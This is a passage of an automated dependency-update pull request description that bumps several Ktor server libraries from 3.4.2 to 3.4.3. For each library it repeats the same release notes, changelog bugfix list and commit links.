href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-server-core's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.4.3\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/5d9a99869b6005018fb821828c082d8e4ff05500\"\u003e\u003ccode\u003e5d9a998\u003c/code\u003e\u003c/a\u003e Release 3.4.3 (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5547\"\u003e#5547\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/6a11a76b9e13302ceea01e8763aa2fdc74ec73be\"\u003e\u003ccode\u003e6a11a76\u003c/code\u003e\u003c/a\u003e KTOR-8989 Close or cancel engine only when the client reference count… (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5525\"\u003e#5525\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/3acb8ea1ab1738c0ff6fb68f3f0e75024edae2c7\"\u003e\u003ccode\u003e3acb8ea\u003c/code\u003e\u003c/a\u003e KTOR-8938 Inherit server coroutine context in WebSocket session (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5426\"\u003e#5426\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/cec7d38a7183c43efa686eed6cad5cf889f37fd0\"\u003e\u003ccode\u003ecec7d38\u003c/code\u003e\u003c/a\u003e Fix flaky test failures on native platforms (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5485\"\u003e#5485\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/bd8bea1c18eba45f150537d223a8aa3c107cb5fb\"\u003e\u003ccode\u003ebd8bea1\u003c/code\u003e\u003c/a\u003e KTOR-9507 Update Jackson to 2.21 and 3.1.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/5e29515e447d0b825f7e0fe1a60757b433e89c02\"\u003e\u003ccode\u003e5e29515\u003c/code\u003e\u003c/a\u003e KTOR-9507 Update netty to 4.2.12\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/733b8e1b08e1c87a0b731ddd42406c8b2a93e35f\"\u003e\u003ccode\u003e733b8e1\u003c/code\u003e\u003c/a\u003e KTOR-9373 Make ConcurrentMap iteration safe on Native (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5407\"\u003e#5407\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/1f83f21df932ae6b00222ab5241e4bbc93c830e5\"\u003e\u003ccode\u003e1f83f21\u003c/code\u003e\u003c/a\u003e KTOR-9451 Support nested generic types (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5500\"\u003e#5500\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/2440990f1085410261b41058815d24d6a9789bba\"\u003e\u003ccode\u003e2440990\u003c/code\u003e\u003c/a\u003e Apache 5 Client. Don't ignore resultCallback (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5526\"\u003e#5526\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/430f32098bc3565d2cba6d0dfd06758afba45410\"\u003e\u003ccode\u003e430f320\u003c/code\u003e\u003c/a\u003e Follow-up: KTOR-9497 Preventing a fatal crash in DarwinSession on close (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5533\"\u003e#5533\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/ktorio/ktor/compare/3.4.2...3.4.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-server-double-receive` from 3.4.2 to 3.4.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-server-double-receive's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.4.3\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-server-double-receive's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.4.3\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/5d9a99869b6005018fb821828c082d8e4ff05500\"\u003e\u003ccode\u003e5d9a998\u003c/code\u003e\u003c/a\u003e Release 3.4.3 (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5547\"\u003e#5547\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/6a11a76b9e13302ceea01e8763aa2fdc74ec73be\"\u003e\u003ccode\u003e6a11a76\u003c/code\u003e\u003c/a\u003e KTOR-8989 Close or cancel engine only when the client reference count… (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5525\"\u003e#5525\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/3acb8ea1ab1738c0ff6fb68f3f0e75024edae2c7\"\u003e\u003ccode\u003e3acb8ea\u003c/code\u003e\u003c/a\u003e KTOR-8938 Inherit server coroutine context in WebSocket session (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5426\"\u003e#5426\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/cec7d38a7183c43efa686eed6cad5cf889f37fd0\"\u003e\u003ccode\u003ecec7d38\u003c/code\u003e\u003c/a\u003e Fix flaky test failures on native platforms (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5485\"\u003e#5485\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/bd8bea1c18eba45f150537d223a8aa3c107cb5fb\"\u003e\u003ccode\u003ebd8bea1\u003c/code\u003e\u003c/a\u003e KTOR-9507 Update Jackson to 2.21 and 3.1.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/5e29515e447d0b825f7e0fe1a60757b433e89c02\"\u003e\u003ccode\u003e5e29515\u003c/code\u003e\u003c/a\u003e KTOR-9507 Update netty to 4.2.12\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/733b8e1b08e1c87a0b731ddd42406c8b2a93e35f\"\u003e\u003ccode\u003e733b8e1\u003c/code\u003e\u003c/a\u003e KTOR-9373 Make ConcurrentMap iteration safe on Native (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5407\"\u003e#5407\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/1f83f21df932ae6b00222ab5241e4bbc93c830e5\"\u003e\u003ccode\u003e1f83f21\u003c/code\u003e\u003c/a\u003e KTOR-9451 Support nested generic types (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5500\"\u003e#5500\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/2440990f1085410261b41058815d24d6a9789bba\"\u003e\u003ccode\u003e2440990\u003c/code\u003e\u003c/a\u003e Apache 5 Client. Don't ignore resultCallback (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5526\"\u003e#5526\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/430f32098bc3565d2cba6d0dfd06758afba45410\"\u003e\u003ccode\u003e430f320\u003c/code\u003e\u003c/a\u003e Follow-up: KTOR-9497 Preventing a fatal crash in DarwinSession on close (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5533\"\u003e#5533\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/ktorio/ktor/compare/3.4.2...3.4.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-server-netty` from 3.4.2 to 3.4.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-server-netty's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.4.3\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-server-netty's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.4.3\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/5d9a99869b6005018fb821828c082d8e4ff05500\"\u003e\u003ccode\u003e5d9a998\u003c/code\u003e\u003c/a\u003e Release 3.4.3 (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5547\"\u003e#5547\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/6a11a76b9e13302ceea01e8763aa2fdc74ec73be\"\u003e\u003ccode\u003e6a11a76\u003c/code\u003e\u003c/a\u003e KTOR-8989 Close or cancel engine only when the client reference count… (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5525\"\u003e#5525\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/3acb8ea1ab1738c0ff6fb68f3f0e75024edae2c7\"\u003e\u003ccode\u003e3acb8ea\u003c/code\u003e\u003c/a\u003e KTOR-8938 Inherit server coroutine context in WebSocket session (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5426\"\u003e#5426\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/cec7d38a7183c43efa686eed6cad5cf889f37fd0\"\u003e\u003ccode\u003ecec7d38\u003c/code\u003e\u003c/a\u003e Fix flaky test failures on native platforms (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5485\"\u003e#5485\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/bd8bea1c18eba45f150537d223a8aa3c107cb5fb\"\u003e\u003ccode\u003ebd8bea1\u003c/code\u003e\u003c/a\u003e KTOR-9507 Update Jackson to 2.21 and 3.1.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/5e29515e447d0b825f7e0fe1a60757b433e89c02\"\u003e\u003ccode\u003e5e29515\u003c/code\u003e\u003c/a\u003e KTOR-9507 Update netty to 4.2.12\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/733b8e1b08e1c87a0b731ddd42406c8b2a93e35f\"\u003e\u003ccode\u003e733b8e1\u003c/code\u003e\u003c/a\u003e KTOR-9373 Make ConcurrentMap iteration safe on Native (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5407\"\u003e#5407\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/1f83f21df932ae6b00222ab5241e4bbc93c830e5\"\u003e\u003ccode\u003e1f83f21\u003c/code\u003e\u003c/a\u003e KTOR-9451 Support nested generic types (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5500\"\u003e#5500\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/2440990f1085410261b41058815d24d6a9789bba\"\u003e\u003ccode\u003e2440990\u003c/code\u003e\u003c/a\u003e Apache 5 Client. Don't ignore resultCallback (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5526\"\u003e#5526\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/430f32098bc3565d2cba6d0dfd06758afba45410\"\u003e\u003ccode\u003e430f320\u003c/code\u003e\u003c/a\u003e Follow-up: KTOR-9497 Preventing a fatal crash in DarwinSession on close (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5533\"\u003e#5533\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/ktorio/ktor/compare/3.4.2...3.4.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-server-content-negotiation` from 3.4.2 to 3.4.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-server-content-negotiation's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.4.3\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested 